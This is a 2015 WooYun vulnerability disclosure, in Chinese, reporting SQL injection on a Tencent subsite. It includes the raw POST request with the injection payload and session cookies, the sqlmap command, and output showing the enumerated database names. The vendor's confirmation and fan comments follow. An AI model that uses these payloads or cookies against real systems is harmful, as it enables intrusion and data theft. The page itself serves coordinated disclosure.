当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116603

漏洞标题:腾讯某分站SQL注射

相关厂商:腾讯

漏洞作者: Jannock

提交时间:2015-05-28 02:02

修复时间:2015-07-12 11:04

公开时间:2015-07-12 11:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-05-28: 厂商已经确认,细节仅向厂商公开
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

腾讯某分站SQL注射

详细说明:

1.txt

POST /server/user-search HTTP/1.1
Host: ycg.qq.com
Proxy-Connection: keep-alive
Content-Length: 56
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://ycg.qq.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://ycg.qq.com/search.html?text=ee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pgv_pvi=6922592256; ptui_loginuin=263412044; pt2gguin=o0263412044; RK=lSOHAQA9U7; ptcz=3d56446153633909f628433ffde38284daeb5bf437ba89f4b5eced1c82e9dd25; PHPSESSID=oplng3j7moop78v4afm3r72k76; pgv_info=ssid=s9172793804; ts_last=ycg.qq.com/; pgv_pvid=5727859230; o_cookie=263412044; ts_uid=7065317080
pagenav=1&pagenum=75&txt=ee'and 1=1 * limit 1%23&g_tk=5381


python sqlmap.py -r 1.txt --dbms=mysql --techniq
ue=B
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150211}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:58:52
1.txt
[22:58:52] [INFO] parsing HTTP request from '1.txt'
1.txt
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q] y
[22:58:55] [INFO] testing connection to the target URL
[22:58:56] [INFO] heuristics detected web page charset 'ascii'
[22:58:56] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:58:57] [INFO] target URL is stable
[22:58:57] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] confirming that (custom) POST parameter '#1*' is dynamic
[22:58:57] [INFO] (custom) POST parameter '#1*' is dynamic
[22:58:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter '
#1*' might not be injectable
[22:58:57] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[22:59:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:59:00] [INFO] (custom) POST parameter '#1*' seems to be 'AND boolean-based b
lind - WHERE or HAVING clause' injectable
[22:59:00] [INFO] checking if the injection point on (custom) POST parameter '#1
*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 11 HTTP(s) requ
ests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagenav=1&pagenum=75&txt=ee'and 1=1 AND 8865=8865 limit 1#&g_tk=53
81
---
[22:59:19] [INFO] testing MySQL
[22:59:19] [INFO] confirming MySQL
[22:59:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0

漏洞证明:

[23:01:15] [INFO] fetching database names
[23:01:15] [INFO] fetching number of databases
[23:01:15] [INFO] retrieved: 2
[23:01:16] [INFO] retrieving the length of query output
[23:01:16] [INFO] retrieved: 18
[23:01:37] [INFO] retrieved: information_schema
[23:01:37] [INFO] retrieving the length of query output
[23:01:37] [INFO] retrieved: 4
[23:01:43] [INFO] retrieved: work
available databases [2]:
[*] `work`
[*] information_schema

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-28 11:03

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-28 11:04 | 江苏苏宁易购电子商务有限公司(乌云厂商)

    永远的一哥!

  2. 2015-05-28 11:05 | 魔术师 ( 路人 | Rank:20 漏洞数:2 | 各种神器:http://www.codefrom.com/)

    永远的一哥!

  3. 2015-05-28 11:05 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    一哥回归了

  4. 2015-05-28 11:31 | Looke ( 普通白帽子 | Rank:619 漏洞数:93 | 可顺势而为,何必逆水行舟)

    永远的一哥!

  5. 2015-05-28 11:31 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    永远的一哥!

  6. 2015-05-28 12:10 | chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人,我们一定要收购长亭)

    永远的一哥!

  7. 2015-05-28 12:36 | bobbi ( 路人 | Rank:8 漏洞数:6 | 人生真是寂寞如雪)

    永远的一哥!

  8. 2015-05-28 13:04 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    永远的一哥!

  9. 2015-05-28 13:31 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛!)

    永远的伟哥!

  10. 2015-05-28 14:03 | 狼牙月 ( 路人 | Rank:8 漏洞数:3 | 水不撩怎知深浅 人不拼怎知输赢)

    这才是哥啊!看完他的白帽信息,我发现我已经跪着了!

  11. 2015-05-28 14:14 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    一哥重现江湖

  12. 2015-05-28 15:21 | Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    永远的一哥!

  13. 2015-05-28 15:51 | hey_man ( 路人 | Rank:8 漏洞数:2 | A man)

    永远的一哥!

  14. 2015-05-28 15:56 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    永远的一哥!

  15. 2015-05-28 16:57 | Mirror ( 路人 | Rank:19 漏洞数:5 | ->_->)

    永远的一哥!

  16. 2015-05-28 18:20 | Mr.Black ( 路人 | 还没有发布任何漏洞 | 爱好WEB安全 爱好个人信息安全)

    永远的一哥

  17. 2015-06-04 22:04 | Aphxg ( 路人 | Rank:6 漏洞数:2 )

    永远的一哥!

  18. 2015-07-22 21:17 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    永远的一哥!